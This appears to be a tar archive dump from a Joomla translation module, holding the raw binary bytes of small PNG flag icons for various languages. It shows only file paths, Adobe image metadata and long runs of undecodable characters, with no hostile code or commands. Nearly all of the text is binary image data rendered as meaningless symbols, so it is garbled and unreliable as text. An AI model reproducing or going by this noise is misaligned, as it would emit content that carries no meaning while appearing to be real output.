IHDR  szz�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c" xmpMM:DocumentID="xmp.did:B70E79DC72A711E2B39F813E88FD8345" xmpMM:InstanceID="xmp.iid:B70E79DB72A711E2B39F813E88FD8345" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4D4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:daa7e814-015c-11dc-8ce8-c9a927124c2c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>&쫭�IDATx��W;hA�f�K���QI5�EAEE	�V���lm�R-��b!H��*bc����;��������^n�6�l�nnvv�����cRJ�gѰ��?FU����4�����wfhN��5�F��?ٮ�hÉC[R0�q^5-
@��e�������Ud�
��>���;������0�Y0�:��ل�* c��vهM �(����D��|���e�+�T��Nj�ګ�c��#~��m% ���T��+
J%/��:��A^�����:V�O��("��E�\����݀�̖�fVa�v�ɶ$=��d\��xp�mZvVR�U�Y�{:p��~p&���M���ټ����1�=�r]���:)�7Q(12��w��}1�I��=�A���/)����ӊ�0S�(΍Y-�j,SAϨ�U��i0�,�F���%l�6¶�p��S9�
�:q��;���A��!gM���ZV;LS��Yxi�
Z�ﬥ	���*���a�x���&��@��Eܚ��F���1�h1
h��U0��]�D-<�O߿`h��^��oc&�Nu�%�m}��/��sp'�EBИkT-P��Z:ֺ��0��^^���]���`ҡ&?v���C��p��I[)Y�T���P�R�DS�.�/4��`#��	���F{M�,���T΁.����,�yq"�\#��b7�z
A����ě`�
i����g��k-�Ʃ�F_&�>�1WƈHP�	M'iݐ�<ND�b*��xŊ\�p�,�p��?��E,$�>�6e+w���d�:l�_k�}~�
�J�Aҫ�R1�;a�W�7S�ڑ��p���?A>j�,�(��N��48��=1'�IEND�B`�mod_gtranslate/tmpl/lang/32/la.png000060400000001524150746170550013002 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��MkQ��{g��w��Ѣ"�RD�
"��Ε�@��ν��ƍ�T\�����]	*-Hm-�MƤ3����贙T#N�����g�y�sN��0�Ќ9�(���/���¯WV��߂*�?�|��Wj��Ag2�.@n�Y����� !�V�������leo����N		2�`�BH"�v�nd�#��:�`���t�ob?;�΀�}�`�\a
ǭ�E	���f�T	Db}Ly��[Į�x�`}t���PJ�� �k@)M�H��H�y�#�Ϩ�q���˟��}��%��@�Ǝ첥�����Y�\z�j�_��Us�q�����C)g7@��D;��9�b�4N��_ݤr�4N�qoP�̓>���W
�H���6�m���I�xy�
�����2�<�-=C�S�̿-
�8�"�ц���%��#bU"��%�_"t��mick4�(�O'%��8����C��_�/^D�y���'��V���T��;��f�&N����3C���.��(�@:!��Z�:e�K/�J`����l;@
Di7��k�{�C�=-��4�^�z�$�k8zj@��#�z���ֆ;����mih�.�Q�����ٕ��,���ךʝۃ%�d@�hF0[�x(
`��@�	��j�FT	�����C,���6@��g�����s*�,���03F���q���eVYIEND�B`�mod_gtranslate/tmpl/lang/32/km.png000060400000002035150746170550013013 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoE�=�]�z�f��%P�A("p	B؆3D�P�7�)�!�A��7 �'�8�J@<��������8�xg�v� ��%-�jԪ��w������p����
�V�9,�@���?��C)�ן]���+޸��B�y`%Z�
��2���@,��4U�1�j��6sk��V�mrmZ���in����Os���@[G6�dS�a�Q[��D�Í��"�B��C�����|ukqq�K��k��5���wQax���n�E�5.M�l���	D�4�1�_{���;���&D�y�� EѨ����e楜��	:;[���%����e�c�(��������ZW2N��@��%Ie��Ƣ,�
c�/������)�o�	N�㭭᭭��c~�O�~���۴^z���M���w� �IM�i2�]yAt�,���C��*��gX�ٞѽ�5��
�.^DE-�ׯ����_P��(�߯`&M��v��u�+h]z���A�$��g\��+rd2�(Ip�! �{��!4`-8w�r)D)��.v4$<s��_�,�GE�jG��#����@߻���C�B�|6ې�=����i�2zW��_YōbT��K�y%u֖e��A-�q���UzW�AҬ��Ѷy4J��*]Ҍ����o�R��(߫�H��RxQT��)7F>�M��G�ͷx�%�nd�1A����o�����2���rW���Xր�s(�(kPa���M�^���o�4K�3�`�����I�Ł��Bgm��ut�T�qn��-�15��D������y���Lu�!����8������8q�,�*L��9׸�+Q����@���8�ĭ�*`x8���?��MЫ�"G�Փ��I�w��%�_�IEND�B`�mod_gtranslate/tmpl/lang/32/lo.png000060400000001615150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��ˋU���v�t&3��P�q\Dp!�n�"4"�Nt�ƭ]��Ѕ��.UW��@҉�F��3&NO?���蚙�q�ۍ5�(nQuι_��S�U�0-��R +�:-�מ�5�/��?Y2@[������u~{�:@������씥���LEd��2���/i/�-2��0G�bש�;h�=S���//�y�O�sb�׳��:�����}tӢ��%�#+�G#>(�^Ao`g0׀*��#<�@~[��bsYZV׌6쭀��~A�ƪZ$FN�|�SO��Ԟ��V΅/�p������U�Gc��q��eX�}�.�E�=o���>�؄�R{��O?N�4���;d��c1*΍����n��-�+�%e��w������3�9���ֶ��9�:Ap>���� �\�^������H�������;"�չ�O0I2����i,���d� w��"���
��^������ʼn&�Ͽ��CĤ�D���xu��2%���-&�TG䨺Ԥ\��ᥟ*���7���&��K���mBQ.ΐgj�|�kz�k/�`a�	@�W�y�̷�F���}�l�$t�	gH2�y�ox�'V�p���؄V?3�'� 5)��P;�0-ظ��W77�޵<�M�
λ=�o~@��D��z�H��YVwHb��T��b�{UU�F�0��E�����0ĒpF��v�[�&,�8���,�7�_�<,�c�V�r�pz��-����V~\IEND�B`�mod_gtranslate/tmpl/lang/32/ha.png000060400000001201150746170550012766 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�mod_gtranslate/tmpl/lang/32/ar.png000060400000002710150746170550013006 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx��YlTe����33�2�i��V�eu��(��HԸE1.!Ƹ��W�Dc�׮�[�	��p��%qk�
Z���R�PZ�Ng9s�/fJ��X�)7|ɟs.�������{�1��9.�
DJ��xP�����m1�ﷄ`�ד����-��?�s�G��������Z�>���D9�1�R� �cY���Z�<�}n|�x��Q�� �h�q�GA����O�e�,��Cc̏��o������]�(��p��e��a�[p�� ��CS���%#����Yp�	���ERI��K�?�g��&67�'�h=�-#GQZ��idݢ�X1o?v����'dJ��F�+ �&�����<Mڪ%͋W�ભ����C��d� N"tt���!����-Mwb[�:� �-N��W~�c~vzT@Cu�V��c{h��B��KY�O������џ���Q��|��t?��C(2R�qe�@)2^7��0�M��p��m=_cT��\,N����TGb$�T�Ul���qӢ5���rE=˔�F��@�%c^/�'z�0�h���sS�?�qy�r��}�D�h�IDbhcX��
�9��p�t�^�Q;°;
�3qvA�%���@jE��'����9��8��;@":�����*��y9�#8��_g�X�aaU=c�����&�f�x�~�L!�,(�  �gY�_�hʆ��3$c��U-d��pb���h�DE���?��U�i��+}mCG���B�����X�J"�Bi=y̍�y�$
����wk�i^����c�Jp|��C���f)7��p���TU�g�D!��J��Jb�A=ya��@�rٺ�v"���^������Ǚ�Q�T�������!�^�.�������&(��'`RK�j�Mut�6>�ޣ���4�M���}/sCj-������;����7�>!�eХ�?�@ ��m�51<&�M���.�v��Ⱥ{�U���]l�p��:��STW&xl�<��~~�9�/��1vh��?^��|۶��LkY�/}�=�<{��ll�ȁ��Jw�+Im�]�_����8;��?��(���.���q8�C�y��n�/[ͺ�M�I^��MضM_��Tte{y�׏P€p����;��Zg��7l����I�9�������D�؜i��ftwB�.#P4!�h������
��c�9�
 ��	Z�2� �#�3��D� \Qv�V�w�N�k&(�!��̮'.և�`P;˶|8"J���u6�2�����&������o$&IEND�B`�mod_gtranslate/tmpl/lang/32/fy.png000060400000002215150746170550013022 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���$tEXtSoftwarepaint.net 4.0.12Ck��IDATXG�U{�Tu��QEDB�&�ԖFڮkk>J�,��bSY6V��?
��A�k��n�����:�Î�.�;�hߺs���;�;������4���
�g>�|�}���\UJ����XHJ����XH�Gz+v�qm�n\S"�e{PQ�A�0U&����Mp��:i�����C���]�N_wHtv@y~&�-U��PT��TO�:�� ��›^WZ+o(���D�n���~��oB�ބ��F�5�ᮥ�zל��c`\w�I���O@��,�h'������d>�ޏ8�u�����yA�����Js����s�ǝK�y	Dj�c���,JfC]T�p,��^??�������s�.�Y	�����ر#�w‡�_��@�x�q�_�ou�mZ��<=~<���F��>��Ύ�'�rT6L��y��h;���!�n?�>��u�F�`��6"R�
�H��D�>�[��M��i'��"r#���L-��QΏ8q�+s��M�
�8�{L�8"�>����ۧڀ�RQj����#� ޺p/ojN�ҁ����!�����jv7�d�xk�����؆D_�q5��?HE�On��T�K�&�]_3;�0}�Q�^������w:$�����y�D���ϛ&̤���K�Ƀ���N���vN�C�ܸ�r��Ed����|�en7�
h���ԟ�K�`�'�B�H��~���Y��'��Ď7�?c�͕yg������q�˯ؿA�&�,}��7�C�..��_Y `�*z;{�;�O�Svßm�zԘR���W�R�;�3/�!��*���W��;�&�M(�"�~�f�e����Tm\�����������|YP�Z�7�,������\
�+v:��ș�&����;�,83̏R-��Іu��G`4ɝV,��+/����#2a*Y�
9���s��(z���9�	\Qd���@�HX�gA(y�'�^ëJi���Ii���Ii�p��l�r4�f?�IEND�B`�mod_gtranslate/tmpl/lang/32/lt.png000060400000001060150746170550013020 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�엱nA���;�I�	E/@CGOE�s�0t)xj�<(6�nwf(�l_��&���jN��?;�]qwNi�����HS����z��,�$����X�����Xֽ�
t�w�����W�'���x�,�;�E��x�
Z���=gAh�&`�
��>��x_�a��}z��%��
I��^��^7=@1e�����@7Z����m��2ьL4�Η�L��-���*ݒ�o�=�'�ϪT)�\��<P��&L�@VE�1��C�1=�|��T�R�%���an�K�(�1ߏ�B��&TáW ��{�7>3sǻ�6�����vV
�u�B h)��M���q	@M���"�_tb��� �����j�W��+��T�+�5�"�Z��"�b#����8=5�����"J�2�IEND�B`�mod_gtranslate/tmpl/lang/32/be.png000060400000001533150746170550012774 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KkQ�w�&31ɴ�֪���*.ĕ����(�~!W���Pĥ�	(�/t!-
�kRm4&�׽�E���VW�n<p������6S6Y�P�x�}#���������{v�"YX�z�_������L�40$qHy�,�ޠ89�*��O���n`H�D��A��?�w�6�lS��o]�<h��v��
 �<
 I��	C�_D�	�5��:g����.� Iп�\k���0�/����|���s�'	�<%�؏t;���`M@<;K���i61����c�Q�}zd��v�JU�p�a��� q�ǖ3��^��<uU,`۝^��̞-+�)/5�_ˮ�W�"��O��33�={�^��0��n���'��"ڬ�[���&}�H�����K_�ɵIbp�L(�8^qu���4��(p��>�d�3��j5T�AZ������z���Zא��J��(�S'�>xH��	��S�
���L��ƿ�,eIL�$q����v�o��I���`W���A�L��>��|�;R�|�#W�r�f!��N��{��q�S�:�x`��Ja�5`��K1��+�0�N��sŐ�L
�H�1H��r�eg
�V2��T�6��T*د�8�j�lL!�fnùy*;Lj^��;|�d~_�s�+0�H��G����q����ʙ�Q�p�`Z�ިޛ���7R"���?N7��]ի�W-�IEND�B`�mod_gtranslate/tmpl/lang/32/zh-TW.png000060400000001546150746170550013363 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KoG�=3�ɚM�,1��E� �)�#_*�|��rM�HQr�D H�@���m�e�γ��r��g�d����L����U���6��A��n���y����W��a=��TV�[�:��
�0���<�k>@T�`0��f�F;s��S���{`��JY
�[%J-���>�)'����Y‘�gYZI0ư-]��o�xM`��ܖ�1�3PZ�8����Q0\��3���o�s���
��<^��{�1�e���kQ��X/d�#/�(竳����$sq��y��kO�Մ1���C��wB�U���c}Μ2���ka��!�#.|��[�,�$�j��(��$-Is���\ϸt���Ľ��Z�oן���NK�ZU�8!I-Yn	������J/
��
�*ϵ���3�+	�&���8w�QE^�n��U>�x������,9č�+�L��(���������ؖ�FiEQ���x���T�'/O�m�hi�J�N�����o�C�9`��d�6�"�����n3�B��0h~Y��f`�T}���q����!��V�9�
��Q����9"��<����X��������-�������wF;֞Kڛ����OH}��,�5�"{/&�KDZ�����jj큠��.�x6��N���l�8|
,t|,	�1�;���ﲕ@b�]N��k?�;�rIEND�B`�mod_gtranslate/tmpl/lang/32/en.png000060400000003347150746170550013015 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FmIDATx��}p���ٻK�$GD�	0M  M�(j
�ڌI�h�l�[�NǑR-6Ć�0mC�Fl�$ED�`�)$��!)� MB���r�w�{����0�����|��>��*"­�[,_(@��H�!
H��۽W3������ݝl�Rυ�b\��I����s��hQf�D����*�}F/D��Q<��N��O�{��d����W_�>�$������
��j�DK�Ř��kRg܋�}.V4�f̘���� �p��N�z�m�!���%�19P�K�Ϡ����*?^LJ�d~x
#Fdp�	|}�!J%`v^M��uvzQ0A��A�]Ϟ�D�'��lĖ?����Q�R�r5��~X}��kf16�$Ww���<�Q
G���A���v�DtuV(�bF�.�����N��y�F2��\>{לbҦO����nmLd���u�k�1^g4��Y�q�8�o&t�Y��({�̚5]��Ft�@����u=d2s�T�N�P�w���#kM9iӧaD,����#ttx����d����x�s�d��xv�?7�*
�������G-Љ����,��7x�r��_�VPȈ����l��|<��u��}}aL3%Z ����78y��򖋬\�-���Õ��ͧ�t!S����nY��l�`���v�c\�XAW���ZA��0-���nv�|����(��@��7��o*>�~�›�{f6l�����χ�JGMv�(1�D�cz{I.�AfA!ڰ!44���XV$,�@��x!���V���z%)Q��~��WAE���y��8S�`��M4����(
�͆`��ݓ�O�/��u�0.@D"�q�����7*�1�i�>��������F�+m@�{��#��q]IBM��g`C�R}����0�b�zs��ÔQ(�h������4�!��	_k��]�,YtOt�$x�
���1"���$Vn�H0D����v�q��Kw͸v��ݮ$*�a��6�EE�c�̿ߡ���/��t)���DЉkD�T9�x�t<����u��jG	)."~DL�$	,��K��?>�w�1��3Ivhtm��?x��wж�m�O�-X,AD��XUW��[�����~��5��\���
/s�n�_��e适aXq�\M["N��d�t]�H�|��>2_Zl��6���Qqf�	,�&�6ivdK�#[�����,�c�TV�~�y��J��7Y.�o��?�+N�
�ٖ��8�۶-��v9Y�R��pއ���uu<un8+��B��np�B&�廙7�Wtv��vy'��L)�3�	*G��r�bҳ\	;�QWJ{�Zi&U<��ʡ�>���J�	,��`Q�\*cǮ���ĭ��.i��Ks�ˑ=
�*@���q;.tpa�Ө������T��R�� ����|���[�)�8{"
'{�^��%
TUeժ�<��QR�m��-��X���V��|���˯�ҹa#�ƣWlga�	���c��lx<z|��x<|>or@Ƴi�^O�}�&L��}�1�o�W�"
p0�o˻�SJ�^i�e�yK�)_���j�_RP=�IEND�B`�mod_gtranslate/tmpl/lang/32/sl.png000060400000001332150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F`IDATx�엻kQ��{wv׍��V�h0(ha�66�����b'b�M���UD�:QQ| ��R�D,4f�}��DZp7�0I�u��43sg�|s~�8W��̀�?�@�y�3������ڦ��*0���T�����C�ҷ"˅*;Ƈ�̏�I��U���t���e떈���i�6��'!;�����J��bcc=?�C��2��9׮@�$j�Anb
�P|Z\b�7@|����M>��V7�=�o�z����!"�9}����q��6�t(��W)l�)W"ʕ� ��7���3�͏�Rl0�+�ѩ1n>�Ҵ0�3h���ܳ����S�F���!��E��y��c��›�|x����I�_7�F��YOd}Ojƴ�5<��	g�?��P��}�������=����=�E��`��<3���C��/��4���gq��}�K�s���+��?[�9���[�Y5
��V�r�J ��i<�X�x�|��E��T
�5�-o-A�mv�A�Y�}[蘢�S8�A�ؒ�T7�A��:iV@g��K��R)�Y��mN9�0�<����C����(����A��#*��vIEND�B`�mod_gtranslate/tmpl/lang/32/tg.png000060400000001420150746170550013013 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��ˊI���YU�Vۂ�;�2�pQĭ�o ��7����*��Qf1(ma{����̨���R
bV�fo<����?��QU���\�`�|kl�"��t��g1�����;�E�����^���\cD�Gk��J@w߶��k��d���
 �=F��h9j�K�`@�e3���P�7�<g��3YP䤙e�*���S�q�,�>5�ʯ��r�
\��s�=�+�og
�Z�*a�Ǹh���oS%l�8R��-!5x�������?��'�!��GW�`<W��F�)V{��� ("B���/�/]�f]P%!�/���9�ch-��fhu�
���c��+R��9x��먷\��k-�c�иF9xB�D�k�Kk����hj���cL�.H�_�h�`��%>���A[Wh/^�9�)a�S�R��Vg�`�`��.!��#4���V0�W���z�Ni��훟�&U����9l���%�����;lvt*n�s�>�Ɏ!�.hx�j�\�1���O�v��E#ߢܶ)7�.q��Um�`lè��s�~DEHqB�"���WV���&�
s0֢G���e�
���3������P~N���"5�:~�IEND�B`�mod_gtranslate/tmpl/lang/32/ne.png000060400000002341150746170550013006 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FgIDATx�ė}L�e����{�!�,�s�L!]�G+SW.]������\E3�Nl6��ޚ��Pk��5�46-k�r�i �9P�R��^�����	]�l���9��=�y�<��{)2�Z�#��}v��W�V�����5�#�k&_m=�A����!@��K��[{K��ޝ�60�ҁ��HK�z�dM5�ʚ�z����m�s#V�y�H�sS�,��] IR|~��
��5�6�")���8�-��v�z;-������^eX��^�
4��uA���z��������ܕ�l}�PU
��ETIB

�>}�
�JR]%��ځ=m�˹?�d���@Eё�G"$����Nl��� �{�,G#���ꃿ+��Yμ���f�
l�V#GF0m�#`�b}�	��l�� 	�����t�����_(k�*��2s��m��^E���B��%��L0͡j4	��A-)G��C(*��M�=ed����.��i�/m�}x54�]����
�\�4+��4��M�x~���2Xѣ�	� x���`���������ʨ��?�x9�PC����F$�]հyh�!��t���K�"�8�8��\�,<�M�/���6؈F|���wK�E%�q��o(a=W���Ԇ��^��/γ���ϋ��7
XL�������)��r�B�耷�@�@+�4Ts�z{<�]�>�.�������ͳ-1�4�:���x|�Y��B ��}�$�ܸ��UR��Q�=n�ŪO~1�����X��a.��9X��V4�����И3Is�|f���� �D��/%��$�˗Ut�i�b]���z�*+��'�w��z	K}�ieW��3ܜR�:��ĘβÎ��t��;� ��?o��x��jBc:��>�{�|�s���lw�����,j�7�_'�f���?�vs�nd�mpw���f%��_�_�����t,IF9]Dǒd���r�>���1�u�!�+�k��ݖ�^[�VQ0�9Z)���"p�L���$MEF�U�\�3�ZB0�ƭ��q�pW�_�1[��R��sp}���@;��C�!DW � ��K��Bx��m�w�2�9�g�IEND�B`�mod_gtranslate/tmpl/lang/32/haw.png000060400000001620150746170550013162 0ustar00�PNG


IHDR  szz�sRGB���gAMA���a	pHYs���Y�atEXtSoftwarepaint.net 4.0.12Ck�IDATXGŖ�KTQ��\+�r�-�Q�	�B**i#"E��(*�KH�Pi�MJűHQ!M���q�Fw�2�q-5Z�i�m*o�N�y��y�9�{�y�=�0(�"�0�l�(�	��&D5610<�b외�l��Z�nL�onH¡Pn���ń
��H����V�d����`V]�/j�0�L���
�kP%�C�j{�d�h�" �z��bL��w�j���+ �I����QW������U�<d�ȇ2 �o���
-�%�B��2Wn�!=&}�5z����5P�X��
�j��C���p>FӲ��*5=�|�^NBi`�����ڊ&Pt�u�c���%�
�64a���������8
��>:�/����i��ߨ5r�x-U��Q��"��ȷڅl���2��g��إ�6;/���….�f�}Q���Μz�M��s���H���<f*�:�
��-�������X
k���
eB����)Aq"�����W"�\K���!)VH���ە��/�r�[X62��`�M��'�/��;p��S|��FX$j� k�$��(�;&�GB!���8R��!�웆���g1�F�]b���7�B����^m��J-9:Md섺un��0��Vc^M����
�Z��Q3�ނCϓ�q�+3T�:��ĉ^���|z�B��l]V�mCA�Mt���E�`L�E���[kJ�����S�?),�� u˼
�Dr�;�����O�ME6aلQdF�ME��X���¸�IEND�B`�mod_gtranslate/tmpl/lang/32/jw.png000060400000000752150746170550013030 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FpIDATx�엿N�@�?����JH���@����T�LHT�I�\�l�6M���֋#����vtbf�i	=�	@�0�}L@����oD�/����U
�%I�xz���M>�)0��9�gF3�"@wLEdC�k���vu�x����-�(W�}��<s ��+J�<)��Zq�~���[��r%��	�!����`�[hU�y�-�Q�+�9�>��sl���U�����n��X��=�eXY���؈t�:q�m���i�{��&y�UU��ԛW�;3���#�Ovm�(�P����y�!�T���x{��1lR �*�鴏=����E�ޥ�\�>���\N�Ӿ~P_�M*'��IEND�B`�mod_gtranslate/tmpl/lang/32/sk.png000060400000001656150746170550013031 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F4IDATx��M�E��]�3ff�YB�ٕO"^#�zu/�p�уBBL�Q�!�������H�^�0�!��
������LwU�󰝙�|hF���>(��x�~����0J���(�r�u;-b
�D�>��W���#����T��9��[��Aqn��H�Y\��J%�;F�qHS����L^����Q�^:�
�J1� ֢�����1��}3��]c�͸��N��N�&�y��1i�Ξ�G���xe��9C��Ug�"qL{Ð��IV۸�?x��7t3_���u'��h"�$	^�@saWoP��j�̣��B��1lt̀�Mg�K#��5�:ZQ�1npi��J%ʧO�޽��NR>����o����i{Kl��y}k�(������u~?x��WT/_f�אB�G>���w���x1ׯ6����9hm��Àc���˻�� ��i���y���c�~�֧��H?y1|[<���)a���eng�I�������MW�Ee����19���$���Oޟy�+o�)rA�ٍ5P�}�Ͽ�i��H2@(>�1}��:G �$��|q�$�?�g�O9ue���N�	.�Wa��<�.���!V
W�Ub<����V@kD�u ��Pݺ���2�1��8�B���E�p��C�Z�4ݭ�@�<L!� ���������7o�j�Qa����S�P�Q_C:k-�v-Kb��.���OE��4�d�
�m��
�:��ln��ޛT�����,�V��U&J�#�1�R;?���{GM��z��IEND�B`�mod_gtranslate/tmpl/lang/32/ig.png000060400000001201150746170550012775 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�mod_gtranslate/tmpl/lang/32/mr.png000060400000001275150746170550013027 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FCIDATx���kA���l������Rmmk�b�X��RD��o�?K�T��M�"��x?9k?*�k��1�ٝ��CbE��8�������3�~�;JD�:�]d�\��)4B���x��~�W*����	�C3~���%@!rX:A�* m֡��j�_���~jO��k!:��|�5�4�q��Ll�3�$u$�<L�X�4jHR��:��	Yq��k��b���s;E5��٫��{�����?yǑ�"g���*���w^p�$ߢ�J��Ź	����^�Q*v2Ayy��͈$��}�J�snf�����ט?;�d�h��M=J��S� j��&p)J���s��[NN��=1ąӣ̝�փ7LO��z�s:�u1?;ƕ�e���)�vs�����0���J���f���
���T�vKZ��f�a8~u�$��䬧nݻ2Y��Q�̄��0@�S�*��mk-��/�����Nh�A)��X�VP�#P��o��J)���z���
`D��f�U�Q�p�<�:��Zw�|����U�^N;
�}m�1@@�IEND�B`�mod_gtranslate/tmpl/lang/32/da.png000060400000001123150746170550012765 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���jA�5�bV=xA��kx���!�%�(�!��&�;������5����e���LU�W]]_w���M�ز��L�qL	@連����������n��������e�}�69��V��OSL,�*�-E���T����WDzv���`��[XQvF7a�ؾ�}�NQB�p<ZhQ$-c�}'w��>`�[.���w~.CC t��yZ@�(��k4��˴8�aê*.�G/r쯚Z�U�x%P�G|����kV@�fv�y�;��Ml�����|}�)K�k��}��ӿ<}>���a�1��~ҡ�cuԆ��ͰĀvއ���� u/�;"Q����P
�.�3|$���F@�u=)Bvx�F"����x ��l>��t6��7��in�<^G&�s�4o�{�8��������g4f���ӗ>IEND�B`�mod_gtranslate/tmpl/lang/32/yo.png000060400000001201150746170550013025 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M��@���=�)!!���q�,8�'� q8
�-�D�_����E�����d3�)��~��UuW��;����3r`P�s��^~��e�g�������v�E�qs��F�d||����u����
0*�A2%���r��ul�q|����;s�yu=�J��07�(S�E�6�2�*@Te���6�����Җ����V,b��6�<�I� �\��9�j��j�r���΁M�rŲ/�q7)6XbV-���j��Q���Ս��*󰠬e6URDNV`�����nFK̂���s��"y���@4�x9=~����I �n�[/�pԅ�{!p�z��p��I��gS�݉�yj³�o4
�Ct���-{8�c�Z�T��k,�{��5�9*�Q@ɽ������'T�']8O�E0�-o��\���oC���^���8L���&�I']��T��7gn���~kN�L���&�w%�C��oIEND�B`�mod_gtranslate/tmpl/lang/32/nl.png000060400000000725150746170550013021 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��J�@��I�V��(���ų ��_ʗ��y��-m�43�ik�q�s�&��f�g���gd�9�@�Y#C�2����/Ƀ�p��|���d�w����w�A��
U�
G,e)"l�TD~�l��淛y٠U	�MԊ�
�(WI��w<��_yE	���ZcE�E�w��6���	>����a�P�Fl������m/&$r}��@���B���f���No�p2�JC�w;9�����<�X؟�|
�j�)�T���4Gx�0���T`�"��L[M辠�t�e�ө1
��@�n��`�O�U�;A�Y#��r����{ܒ�o)6��IEND�B`�mod_gtranslate/tmpl/lang/32/gd.png000060400000003147150746170550013003 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{l���?���Җc���)-�R
��u��L�7�����x�QC'.ˌ[�m.��d�Θ�����bd�p��F�T��Z�X��N/��ޞ��=�N1�K�ɓ��<�����=�PJq9I�2�g@��$	Xp�R����ɯ_��c�!�&�?-�i�\�����1��d�{!�X��:]��)}8��!��0�O�)Wz� �p]�\��B�@ �s�SbLC�\%Z^��z��@ç#��;�H�-�T�p���E�~�r@k�!z>/:��6Ħu1�n��:d,ӖX�Ě�>�2�K:�|Q%��c�*?�L���`t��y��k��Y��&�C*�q�W����K�2�q����q=J�:w}��Z�͂Ş#}��3ɩsc�� m��x���Ϧxh�R�s�kZ�����.z��0"o�R
�rYXbӺF�eE�G26m{�'��,/A�Ŵ�Tdr��wO$���4�]��WY0��m���u�yp*�qˊZ�yI�&�X�0m{���dL�� _��y���:Y�E�o�ǖ��*��74�ъ�$Q<�e|��E�}ZQ��F7�z�$�c6B8�C���;�n8��x�!g�)f�S�nw�?��;[h�	���Ԇ��"�O'�<����]C�]8���Sخ7#�G:�`�
B���O$�<��w4s�uJ�fQ��^~����m�Aב�L`E��^��T��\�����ds��h��w�hy`�sCc[vt����|~]#c�E�lW�J�1��t�ő�E:�B�6��lW^��9��w Mj�D�0���O�(/�MOCWJ���*ZY�A��'���-7reU�E
�	��'o�W�k��9�ʔ�ÑrF
��&f�̦agZ���8+��-R�L��Ԅgx�&�(�{�0�!����榄�ɗ�D<��\��0M�}�-e�S7Ϫ�o��X�ÿ��{�s��h����~v��a���-��+���D�Mw�*!�Ra�\"���牍�)	�c�i;�p�f4�s���dusuA��u�}�J��q��#c&�����$��]ۧ0��";no��ֶ[��Wy�;��k[���w��i�}J�����>z��"�o���m���)Jn�B)����ַ
tZ�]Om�h�:�Ƨߦ=1L��?5&�����>;Ʈ�g���Ѵ����*����%GO�Ǵl����:������[��
M�
�hn?��c<��QF���q�*0|:����wz�جj��?cr�
